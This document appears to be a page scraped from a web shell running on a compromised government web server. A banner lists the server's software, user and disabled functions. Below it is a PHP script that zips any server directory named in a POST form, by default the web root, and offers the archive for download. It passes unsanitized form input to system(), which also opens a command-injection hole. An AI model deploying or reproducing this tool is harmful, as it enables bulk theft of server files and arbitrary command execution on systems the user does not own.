|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /proc/self/root/share/files/eoffice/document/ |
Upload File : |
<?
if($_POST['source'] && $_POST['target']!=""){
$sourcepath = $_POST["source"]; //'/var/www/yuna/';
if(substr($sourcepath ,strlen($sourcepath)-1,1)!="/"){
$sourcepath .= "/";
}
$targetfilename = $_POST["target"]; //'zcompressed.zip'; //'/var/www/zcompressed.zip';
$targetfilename = $_POST["target"]; //'zcompressed.zip'; //'/var/www/zcompressed.zip';
$plast = strripos($targetfilename,"/");
$zipfilename = $targetfilename;
if(gettype($plast)=="integer"){
$lastpath = substr($targetfilename,$plast+1,strlen($targetfilename));
$zipfilename = $lastpath;
}
if (!file_exists($sourcepath)) {
die("Path Not Found.");
}
$source = str_replace('\\', '/', realpath($sourcepath));
//remove last back slach
if(substr($source,strlen($source)-1,1)=="/"){
$source = substr($source,0,strlen($source)-1);
}
//zipdata inipath
if($zipoption==true){
$zipdatainipath = $source;
}else if ($zipoption==false){
$plast = strripos($source,"/");
$lastpath = substr($source,$plast,strlen($source)-1);
$zipdatainipath = $lastpath;
}
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file){
//system("zip -r [zipfilename] [filefullname]");
system("zip -r $zipfilename $file");
}
echo "<a href='$zipfilename' target='blank'>$zipfilename</a>";
//unlink($targetfilename);
}
?>
<form name='form1' enctype="multipart/form-data" action="<? echo $_SERVER['PHP_SELF'];?>" method=post>
<input type='text' name="source" id="source" value="/var/www/html/" >
<input type='text' name="target" id="target" value=".zip" >
<input type="submit" value="Action" width=5 >
</form>